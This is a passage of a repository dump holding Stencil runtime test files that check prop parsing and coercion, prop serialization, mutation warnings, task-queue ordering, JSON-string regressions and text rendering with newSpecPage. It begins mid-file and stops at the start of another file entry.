\"0\"', () => {\n        const result = parsePropertyValue('0', MEMBER_FLAGS.String);\n        expect(result).toBe('0');\n      });\n\n      it('coerces the number 1 to string \"1\"', () => {\n        const result = parsePropertyValue(1, MEMBER_FLAGS.String);\n        expect(result).toBe('1');\n      });\n\n      it('coerces the string \"1\" to string \"1\"', () => {\n        const result = parsePropertyValue('1', MEMBER_FLAGS.String);\n        expect(result).toBe('1');\n      });\n\n      it('does not coerce null to string', () => {\n        const result = parsePropertyValue(null, MEMBER_FLAGS.String);\n        expect(result).toBe(null);\n      });\n\n      it('coerces the string \"null\" to string \"null\"', () => {\n        const result = parsePropertyValue('null', MEMBER_FLAGS.String);\n        expect(result).toBe('null');\n      });\n\n      it('does not coerce undefined to string', () => {\n        const result = parsePropertyValue(undefined, MEMBER_FLAGS.String);\n        expect(result).toBe(undefined);\n      });\n\n      it('coerces the string \"undefined\" to string \"undefined\"', () => {\n        const result = parsePropertyValue('undefined', MEMBER_FLAGS.String);\n        expect(result).toBe('undefined');\n      });\n\n      it('coerces NaN to string \"NaN\"', () => {\n        const result = parsePropertyValue(NaN, MEMBER_FLAGS.String);\n        expect(result).toBe('NaN');\n      });\n\n      it('coerces the string \"NaN\" to string \"NaN\"', () => {\n        const result = parsePropertyValue('NaN', MEMBER_FLAGS.String);\n        expect(result).toBe('NaN');\n      });\n\n      it('does not coerce a function to a string', () => {\n        const noOpFunction = () => 'return a string';\n        const result = parsePropertyValue(noOpFunction, MEMBER_FLAGS.String);\n        expect(result).toBe(noOpFunction);\n      });\n    });\n\n    describe('non-primitive MEMBER_FLAGS', () => {\n      it('returns the prop value for MEMBER_FLAGS.Any', () => {\n        const result = parsePropertyValue(23, MEMBER_FLAGS.Any);\n        expect(result).toBe(23);\n      });\n\n      it('returns the prop value for MEMBER_FLAGS.Unknown', () => {\n        const result = parsePropertyValue(23, MEMBER_FLAGS.Unknown);\n        expect(result).toBe(23);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/prop-serialize.spec.tsx",
    "content": "import { Component, Element, h, Prop, PropSerialize, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { withSilentWarn } from '../../testing/testing-utils';\n\ndescribe('attribute serialization', () => {\n  it('serializer is called each time a attribute changes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      method1Called = 0;\n      method2Called = 0;\n\n      @Prop() prop1 = 1;\n      @State() someState = 'hello';\n\n      @PropSerialize('prop1')\n      @PropSerialize('someState')\n      method1(newValue: any) {\n        this.method1Called++;\n        return newValue;\n      }\n\n      @PropSerialize('prop1')\n      method2(newValue: any) {\n        this.method2Called++;\n        return newValue;\n      }\n\n      componentDidLoad() {\n        expect(this.method1Called).toBe(1);\n        expect(this.method2Called).toBe(1);\n        expect(this.prop1).toBe(1);\n        expect(this.someState).toBe('hello');\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n    jest.spyOn(rootInstance, 'method2');\n\n    expect(rootInstance.method1Called).toBe(1);\n    expect(rootInstance.method2Called).toBe(1);\n\n    // attr changes should not call serializers\n    root.setAttribute('prop1', '100');\n    await waitForChanges();\n    expect(rootInstance.method1Called).toBe(1);\n    expect(rootInstance.method2Called).toBe(1);\n\n    // attribute change\n    root.prop1 = 200;\n    await waitForChanges();\n\n    expect(rootInstance.method1Called).toBe(2);\n    expect(rootInstance.method2Called).toBe(2);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith(200, 'prop1');\n    expect(rootInstance.method2).toHaveBeenLastCalledWith(200, 'prop1');\n    expect(root.prop1).toBe(200);\n\n    // serializer doesn't get called during general re-render\n    rootInstance.someState = 'bye??';\n    await waitForChanges();\n\n    expect(rootInstance.method1Called).toBe(2);\n    expect(rootInstance.method2Called).toBe(2);\n  });\n\n  it('should watch for changes correctly', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      watchCalled = 0;\n      @Element() host!: HTMLElement;\n\n      @Prop() prop = 10;\n      @Prop() value = 10;\n\n      @PropSerialize('prop')\n      @PropSerialize('value')\n      method(newValue: number) {\n        this.watchCalled++;\n        return newValue.toString();\n      }\n\n      componentWillLoad() {\n        // initial render\n        // watchCalled is 3 at this point because:\n        // 1. value=10 (default) was serialized during construction\n        // 2. prop=\"123\" (from HTML attr) was serialized via queued callback before componentWillLoad\n        // 3. prop=1 was serialized during componentWillLoad (not queued since instance exists)\n        // Note: prop=10 default was NOT serialized because HTML attr set prop=123 first\n        this.prop = 1;\n        expect(this.watchCalled).toBe(3);\n        this.value = 1;\n        expect(this.watchCalled).toBe(4);\n      }\n\n      componentDidLoad() {\n        // setting the same value should not trigger the serializer\n        this.prop = 1;\n        this.value = 1;\n        expect(this.watchCalled).toBe(4);\n        this.prop = 20;\n        this.value = 30;\n        expect(this.watchCalled).toBe(6);\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a prop=\"123\"></cmp-a>`,\n      }),\n    );\n\n    await waitForChanges();\n    expect(rootInstance.watchCalled).toBe(6);\n    jest.spyOn(rootInstance, 'method');\n\n    // trigger updates in element\n    root.prop = 1000;\n    await waitForChanges();\n    expect(rootInstance.method).toHaveBeenLastCalledWith(1000, 'prop');\n    expect(rootInstance.watchCalled).toBe(7);\n    expect(root.getAttribute('prop')).toBe('1000');\n\n    root.value = 1300;\n    await waitForChanges();\n    expect(rootInstance.method).toHaveBeenLastCalledWith(1300, 'value');\n    expect(rootInstance.watchCalled).toBe(8);\n    expect(root.getAttribute('value')).toBe('1300');\n  });\n\n  it('serializer correctly changes the attribute', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() prop1: number | string = 1;\n      @Prop() jsonProp = { a: 1, b: 'hello' };\n\n      @PropSerialize('prop1')\n      method1(newValue: any) {\n        if (newValue === 'something') {\n          return '1000';\n        }\n        return newValue.toString();\n      }\n\n      @PropSerialize('jsonProp')\n      method2(newValue: any) {\n        return JSON.stringify(newValue);\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n    jest.spyOn(rootInstance, 'method2');\n\n    // set same values, serializer should not be called ('cos the prop is reflected)\n    root.prop1 = 1;\n    await waitForChanges();\n    expect(rootInstance.method1).toHaveBeenCalledTimes(0);\n    expect(rootInstance.method2).toHaveBeenCalledTimes(0);\n    expect(root.getAttribute('prop-1')).toBe('1');\n\n    // set different values\n    root.prop1 = 100;\n    await waitForChanges();\n    expect(rootInstance.method1).toHaveBeenCalledTimes(1);\n    expect(root.getAttribute('prop-1')).toBe('100');\n\n    // special handling by serializer\n    root.prop1 = 'something';\n    await waitForChanges();\n    expect(rootInstance.method1).toHaveBeenCalledTimes(2);\n    expect(root.getAttribute('prop-1')).toBe('1000');\n    expect(root.prop1).toBe('something');\n\n    root.jsonProp = { a: 99, b: 'bye' };\n    await waitForChanges();\n    expect(rootInstance.method2).toHaveBeenCalledTimes(1);\n    expect(root.getAttribute('json-prop')).toEqual('{\"a\":99,\"b\":\"bye\"}');\n    expect(root.jsonProp).toEqual({ a: 99, b: 'bye' });\n  });\n\n  it('removes handles boolean attributes correctly', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ reflect: true }) boolProp = false;\n\n      @PropSerialize('boolProp')\n      method(newValue: any) {\n        return newValue ? '' : null;\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method');\n\n    expect(rootInstance.method).toHaveBeenCalledTimes(0);\n    expect(root.hasAttribute('bool-prop')).toBe(false);\n\n    root.boolProp = true;\n    await waitForChanges();\n    expect(rootInstance.method).toHaveBeenCalledTimes(1);\n    expect(root.hasAttribute('bool-prop')).toBe(true);\n    expect(root.getAttribute('bool-prop')).toBe('');\n\n    root.boolProp = false;\n    await waitForChanges();\n    expect(rootInstance.method).toHaveBeenCalledTimes(2);\n    expect(root.hasAttribute('bool-prop')).toBe(false);\n  });\n\n  it('serializes props set via JSX before instance creation', async () => {\n    @Component({ tag: 'cmp-jsx-serialize' })\n    class CmpJsxSerialize {\n      @Prop() jsonProp: Record<string, unknown>;\n\n      @PropSerialize('jsonProp')\n      serializeJson(newValue: Record<string, unknown>) {\n        return JSON.stringify(newValue);\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpJsxSerialize],\n      template: () => <cmp-jsx-serialize jsonProp={{ page: 'custom' }} />,\n    });\n\n    await waitForChanges();\n\n    // The prop value should be set correctly\n    expect((root as any).jsonProp).toEqual({ page: 'custom' });\n\n    // The serialized value should be reflected to the attribute\n    expect(root.hasAttribute('json-prop')).toBe(true);\n    expect(root.getAttribute('json-prop')).toBe('{\"page\":\"custom\"}');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/prop-warnings.spec.tsx",
    "content": "import { Component, h, Method, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\n@Component({\n  tag: 'shared-cmp',\n  shadow: true,\n})\nclass SharedCmp {\n  @Prop() a = 'Boom!';\n\n  render() {\n    return `${this.a}`;\n  }\n}\n\ndescribe('prop', () => {\n  const spy = jest.spyOn(console, 'warn').mockImplementation();\n\n  afterEach(() => spy.mockReset());\n  afterAll(() => spy.mockRestore());\n\n  it('should show warning when immutable prop is mutated', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() a = 1;\n\n      @Method()\n      async update() {\n        this.a = 2;\n      }\n\n      render() {\n        return `${this.a}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml('<cmp-a>1</cmp-a>');\n\n    await root.update();\n    await waitForChanges();\n\n    expect(root).toEqualHtml('<cmp-a>2</cmp-a>');\n    expect(spy).toHaveBeenCalledTimes(1);\n    expect(spy.mock.calls[0][0]).toMatch(/@Prop\\(\\) \"[A-Za-z-]+\" on <[A-Za-z-]+> is immutable/);\n  });\n\n  it('should not show warning when mutable prop is mutated', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ mutable: true }) a = 1;\n\n      @Method()\n      async update() {\n        this.a = 2;\n      }\n\n      render() {\n        return `${this.a}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml('<cmp-a>1</cmp-a>');\n\n    await root.update();\n    await waitForChanges();\n\n    expect(root).toEqualHtml('<cmp-a>2</cmp-a>');\n    expect(spy).not.toHaveBeenCalled();\n  });\n\n  it('should not show warning when immutable prop is mutated from parent', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() a = 1;\n\n      render() {\n        return `${this.a}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml('<cmp-a>1</cmp-a>');\n\n    root.a = 2;\n    await waitForChanges();\n\n    expect(root).toEqualHtml('<cmp-a>2</cmp-a>');\n    expect(spy).not.toHaveBeenCalled();\n  });\n\n  it('should not show warning when component is used across multiple tests - first time', async () => {\n    const { root, waitForChanges } = await newSpecPage({\n      components: [SharedCmp],\n      html: `<shared-cmp></shared-cmp>`,\n    });\n\n    root.a = 'Bam!';\n    await waitForChanges();\n\n    expect(spy).not.toHaveBeenCalled();\n  });\n\n  it('should not show warning when component is used across multiple tests - second time', async () => {\n    const { root, waitForChanges } = await newSpecPage({\n      components: [SharedCmp],\n      html: `<shared-cmp></shared-cmp>`,\n    });\n\n    root.a = 'Boom!';\n    await waitForChanges();\n\n    expect(spy).not.toHaveBeenCalled();\n  });\n\n  it('should not show warning setting reflected prop to undefined', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ reflect: true }) a = 1;\n\n      render() {\n        return `${this.a ? this.a : ''}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml('<cmp-a a=\"1\">1</cmp-a>');\n\n    root.a = undefined;\n    await waitForChanges();\n\n    expect(root).toEqualHtml('<cmp-a></cmp-a>');\n    expect(spy).not.toHaveBeenCalled();\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/prop.spec.tsx",
    "content": "import { AttrDeserialize, Component, h, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nfunction Clamp(lowerBound: number, upperBound: number): any {\n  const clamp = (value: number) => Math.max(lowerBound, Math.min(value, upperBound));\n  return () => {\n    const key = Symbol();\n    return {\n      get() {\n        return this[key];\n      },\n      set(newValue: number) {\n        this[key] = clamp(newValue);\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  };\n}\n\ndescribe('prop', () => {\n  it('\"value\" attribute', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() value: string;\n\n      render() {\n        return <code>{this.value.trim()}</code>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a value=\"#005a00\"></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a value=\"#005a00\">\n        <code>#005a00</code>\n      </cmp-a>\n    `);\n  });\n\n  it('override default values from attribute', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() boolFalse = false;\n      @Prop() boolTrue = true;\n      @Prop() str = 'string';\n      @Prop() num = 88;\n      private _accessor = 'accessor';\n      @Prop()\n      get accessor() {\n        return this._accessor;\n      }\n      set accessor(newVal) {\n        this._accessor = newVal;\n      }\n      @Clamp(0, 10)\n      @Prop()\n      clamped = 5;\n      render() {\n        return `${this.boolFalse}-${this.boolTrue}-${this.str}-${this.num}-${this.accessor}-${this.clamped}`;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a bool-false=\"true\" bool-true=\"false\" str=\"attr\" num=\"99\" accessor=\"accessed!\" clamped=\"11\"></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a bool-false=\"true\" bool-true=\"false\" str=\"attr\" num=\"99\" accessor=\"accessed!\" clamped=\"11\">\n        true-false-attr-99-accessed!-10\n      </cmp-a>\n    `);\n\n    expect(root.textContent).toBe('true-false-attr-99-accessed!-10');\n    expect(root.boolFalse).toBe(true);\n    expect(root.boolTrue).toBe(false);\n    expect(root.str).toBe('attr');\n    expect(root.num).toBe(99);\n    expect(root.clamped).toBe(10);\n    expect(root.accessor).toBe('accessed!');\n  });\n\n  it('set default values', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() boolFalse = false;\n      @Prop() boolTrue = true;\n      @Prop() str = 'string';\n      @Prop() num = 88;\n      private _accessor = 'accessor';\n      @Prop()\n      get accessor() {\n        return this._accessor;\n      }\n      set accessor(newVal) {\n        this._accessor = newVal;\n      }\n      @Clamp(0, 5)\n      @Prop()\n      clamped = 11;\n      render() {\n        return `${this.boolFalse}-${this.boolTrue}-${this.str}-${this.num}-${this.accessor}-${this.clamped}`;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>false-true-string-88-accessor-5</cmp-a>\n    `);\n\n    expect(root.textContent).toBe('false-true-string-88-accessor-5');\n    expect(root.boolFalse).toBe(false);\n    expect(root.boolTrue).toBe(true);\n    expect(root.str).toBe('string');\n    expect(root.num).toBe(88);\n    expect(root.accessor).toBe('accessor');\n    expect(root.clamped).toBe(5);\n  });\n\n  it('should call componentShouldUpdate for each prop when multiple props change synchronously', async () => {\n    const shouldUpdateCalls: Array<{ value: any; old: any; prop: string }> = [];\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ mutable: true }) first = 'initial-first';\n      @Prop({ mutable: true }) second = 'initial-second';\n      @Prop({ mutable: true }) third = 'initial-third';\n\n      componentShouldUpdate(value: any, old: any, prop: string) {\n        shouldUpdateCalls.push({ value, old, prop });\n      }\n\n      render() {\n        return `${this.first}-${this.second}-${this.third}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>initial-first-initial-second-initial-third</cmp-a>\n    `);\n    expect(shouldUpdateCalls).toHaveLength(0);\n\n    // Update all three props synchronously\n    root.first = 'new-first';\n    root.second = 'new-second';\n    root.third = 'new-third';\n    await waitForChanges();\n\n    // componentShouldUpdate should have been called for each prop\n    expect(shouldUpdateCalls).toHaveLength(3);\n    expect(shouldUpdateCalls[0]).toEqual({ value: 'new-first', old: 'initial-first', prop: 'first' });\n    expect(shouldUpdateCalls[1]).toEqual({ value: 'new-second', old: 'initial-second', prop: 'second' });\n    expect(shouldUpdateCalls[2]).toEqual({ value: 'new-third', old: 'initial-third', prop: 'third' });\n\n    // All values should be rendered\n    expect(root).toEqualHtml(`\n      <cmp-a>new-first-new-second-new-third</cmp-a>\n    `);\n  });\n\n  it('only update on even numbers', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() num = 1;\n\n      componentShouldUpdate(newValue: number, _: number, propName: string) {\n        if (propName === 'num') {\n          return newValue % 2 === 0;\n        }\n        return true;\n      }\n      render() {\n        return `${this.num}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n\n    root.num++;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n    root.num++;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n    root.num++;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>4</cmp-a>\n    `);\n  });\n\n  it('only updates on even numbers via a setter', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      private _num = 1;\n      @Prop()\n      get num() {\n        return this._num;\n      }\n      set num(newValue: number) {\n        if (newValue % 2 === 0) this._num = newValue;\n      }\n      render() {\n        return `${this.num}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n\n    root.num = 2;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n    root.num = 3;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n    root.num = 4;\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>4</cmp-a>\n    `);\n  });\n\n  it('should demonstrate JSON parsing for complex object props', async () => {\n    @Component({ tag: 'simple-demo' })\n    class SimpleDemo {\n      @Prop() message: { text: string } = { text: 'default' };\n      @Prop() messageAny: any = { text: 'default' };\n      @AttrDeserialize('message')\n      @AttrDeserialize('messageAny')\n      parseMessage(newValue: string) {\n        return JSON.parse(newValue);\n      }\n\n      render() {\n        return (\n          <div>\n            <div>{this.message.text}</div>\n            <div>{this.messageAny.text}</div>\n          </div>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [SimpleDemo],\n      html: `<simple-demo message='{\"text\": \"Hello World\"}' message-any='{\"text\": \"Hello World\"}'></simple-demo>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <simple-demo message='{\"text\": \"Hello World\"}' message-any='{\"text\": \"Hello World\"}'>\n        <div>\n          <div>Hello World</div>\n          <div>Hello World</div>\n        </div>\n      </simple-demo>\n    `);\n  });\n\n  it('updates the internal input when the prop value changes between distinct falsy states', async () => {\n    @Component({ tag: 'cmp-input-wrapper' })\n    class CmpA {\n      @Prop() value: any;\n      render() {\n        return <input id=\"internal-input\" value={this.value}></input>;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-input-wrapper></cmp-input-wrapper>`,\n    });\n\n    root.value = 0;\n    await waitForChanges();\n    expect(root.querySelector('#internal-input').value).toBe('0');\n\n    root.value = '';\n    await waitForChanges();\n    expect(root.querySelector('#internal-input').value).toBe('');\n\n    root.value = 0;\n    await waitForChanges();\n    expect(root.querySelector('#internal-input').value).toBe('0');\n  });\n\n  it('should maintain reactivity when prop is set to undefined on element before initialization', async () => {\n    @Component({ tag: 'cmp-lazy-prop' })\n    class CmpLazyProp {\n      @Prop() first?: string;\n\n      render() {\n        return <div>{this.first ?? 'empty'}</div>;\n      }\n    }\n\n    // Create page without flushing queue - element exists but component not yet initialized\n    const page = await newSpecPage({\n      components: [CmpLazyProp],\n      html: `<cmp-lazy-prop></cmp-lazy-prop>`,\n      flushQueue: false,\n    });\n\n    // Set property to undefined on element BEFORE component initializes\n    // This creates an \"own property\" that shadows the getter/setter\n    (page.body.querySelector('cmp-lazy-prop') as any).first = undefined;\n\n    // Now initialize the component\n    await page.waitForChanges();\n\n    const root = page.root;\n    expect(root).toEqualHtml(`\n      <cmp-lazy-prop>\n        <div>empty</div>\n      </cmp-lazy-prop>\n    `);\n\n    // Update the prop - this should work because lazy property handling\n    // correctly cleaned up the shadowing own property\n    root.first = 'updated';\n    await page.waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-lazy-prop>\n        <div>updated</div>\n      </cmp-lazy-prop>\n    `);\n    expect(root.first).toBe('updated');\n  });\n\n  it('should maintain reactivity when prop is set to null on element before initialization', async () => {\n    @Component({ tag: 'cmp-lazy-prop-null' })\n    class CmpLazyPropNull {\n      @Prop() value?: string;\n\n      render() {\n        return <div>{this.value ?? 'empty'}</div>;\n      }\n    }\n\n    const page = await newSpecPage({\n      components: [CmpLazyPropNull],\n      html: `<cmp-lazy-prop-null></cmp-lazy-prop-null>`,\n      flushQueue: false,\n    });\n\n    (page.body.querySelector('cmp-lazy-prop-null') as any).value = null;\n\n    await page.waitForChanges();\n\n    const root = page.root;\n    // null is a valid value, should render 'empty' due to nullish coalescing\n    expect(root).toEqualHtml(`\n      <cmp-lazy-prop-null>\n        <div>empty</div>\n      </cmp-lazy-prop-null>\n    `);\n\n    root.value = 'test';\n    await page.waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-lazy-prop-null>\n        <div>test</div>\n      </cmp-lazy-prop-null>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/queue.spec.tsx",
    "content": "import { Component, Method, readTask, writeTask } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('queue', () => {\n  it('should execute tasks in the right order', async () => {\n    let log = '';\n    @Component({\n      tag: 'cmp-a',\n    })\n    class CmpA {\n      @Method()\n      doQueue() {\n        writeTask(() => (log += ' write1'));\n        readTask(() => (log += ' read1'));\n        readTask(() => (log += ' read2'));\n        writeTask(() => (log += ' write2'));\n        readTask(() => (log += ' read3'));\n      }\n    }\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    await root.doQueue();\n    expect(log).toEqual('');\n\n    await waitForChanges();\n\n    expect(log).toEqual(' read1 read2 read3 write1 write2');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/regression-json-string-non-parsing.spec.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\n/**\n * Regression tests for:\n * - #6368: input/textarea values containing JSON should not be coerced to objects during change/assignment\n * - #6380: prop typed as a union (e.g. string | number) must not parse a valid JSON string into an object\n */\n\ndescribe('regression: do not parse JSON strings into objects', () => {\n  it('does not parse JSON when assigning to a union prop (string | number)', async () => {\n    @Component({ tag: 'cmp-union' })\n    class CmpUnion {\n      @Prop() value!: string | number;\n      render() {\n        return (\n          <div>\n            {typeof this.value}:{String(this.value)}\n          </div>\n        );\n      }\n    }\n\n    const json = '{\"text\":\"Hello\"}';\n\n    const page = await newSpecPage({\n      components: [CmpUnion],\n      html: `<cmp-union value='${json}'></cmp-union>`,\n    });\n\n    // Expect the prop to remain a string and not be parsed to an object\n    expect(page.root?.textContent).toBe(`string:${json}`);\n  });\n\n  it('does not parse JSON when assigning to a union prop (string | boolean)', async () => {\n    @Component({ tag: 'cmp-union-bool' })\n    class CmpUnionBool {\n      @Prop() value!: string | boolean;\n      render() {\n        return (\n          <div>\n            {typeof this.value}:{String(this.value)}\n          </div>\n        );\n      }\n    }\n\n    const json = '{\"active\":true}';\n\n    const page = await newSpecPage({\n      components: [CmpUnionBool],\n      html: `<cmp-union-bool value='${json}'></cmp-union-bool>`,\n    });\n\n    expect(page.root?.textContent).toBe(`string:${json}`);\n  });\n\n  it('does not parse JSON from an <input> value propagated to a mutable string prop', async () => {\n    @Component({ tag: 'cmp-input-bind' })\n    class CmpInputBind {\n      // emulates how frameworks pass raw input values to components\n      @Prop({ mutable: true, reflect: true }) value: string = '';\n\n      private onInput = (ev: Event) => {\n        const target = ev.target as HTMLInputElement;\n        this.value = target.value; // assigning raw value must not parse JSON\n      };\n\n      render() {\n        return (\n          <div>\n            <input value={this.value} onInput={this.onInput} />\n            <span id=\"out\">\n              {typeof this.value}:{this.value}\n            </span>\n          </div>\n        );\n      }\n    }\n\n    const page = await newSpecPage({\n      components: [CmpInputBind],\n      html: `<cmp-input-bind></cmp-input-bind>`,\n    });\n\n    const input = page.root!.querySelector('input')! as HTMLInputElement;\n    const json = '{\"a\":1}';\n\n    // simulate user typing JSON into the input\n    input.value = json;\n    // Use a standard 'input' Event to mirror how other hydration tests trigger input handlers\n    input.dispatchEvent(new Event('input', { bubbles: true }));\n    await page.waitForChanges();\n\n    const out = page.root!.querySelector('#out')! as HTMLSpanElement;\n    expect(out.textContent).toBe(`string:${json}`);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/render-text.spec.tsx",
    "content": "import { Component, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('render-text', () => {\n  @Component({ tag: 'cmp-a' })\n  class CmpA {\n    render() {\n      return 'Hello World';\n    }\n  }\n\n  it('Hello World, html option', async () => {\n    const { body } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(body).toEqualHtml(`\n      <cmp-a>Hello World</cmp-a>\n    `);\n  });\n\n  @Component({ tag: 'cmp-a', shadow: true })\n  class CmpAShadow {\n    render() {\n      return 'Hello World';\n    }\n  }\n\n  it('Hello World, innerHTML, await waitForChanges, shadow component', async () => {\n    const { body, waitForChanges } = await newSpecPage({\n      components: [CmpAShadow],\n    });\n\n    body.innerHTML = `<cmp-a></cmp-a>`;\n    await waitForChanges();\n\n    expect(body).toEqualHtml(`\n      <cmp-a>\n        <mock:shadow-root>\n          Hello World\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n  });\n\n  it('Hello World, innerHTML, await waitForChanges', async () => {\n    const { body, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n    });\n\n    body.innerHTML = `<cmp-a></cmp-a>`;\n    await waitForChanges();\n\n    expect(body).toEqualHtml(`\n      <cmp-a>Hello World</cmp-a>\n    `);\n  });\n\n  it('Hello World, page.setContent, await waitForChanges', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n    });\n\n    await page.setContent(`<cmp-a></cmp-a>`);\n\n    expect(page.body).toEqualHtml(`\n      <cmp-a>Hello World</cmp-a>\n    `);\n    expect(page.root).toEqualHtml(`<cmp-a>Hello World</cmp-a>`);\n    expect(page.rootInstance).not.toBeUndefined();\n    expect(page.rootInstance).not.toBeNull();\n  });\n\n  it('Hello World, re-render, waitForChanges', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() excitement = '';\n      render() {\n        return `Hello World${this.excitement}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>Hello World</cmp-a>\n    `);\n\n    root.excitement = `!`;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a>Hello World!</cmp-a>\n    `);\n\n    root.excitement = `!!`;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a>Hello World!!</cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/render-vdom.spec.tsx",
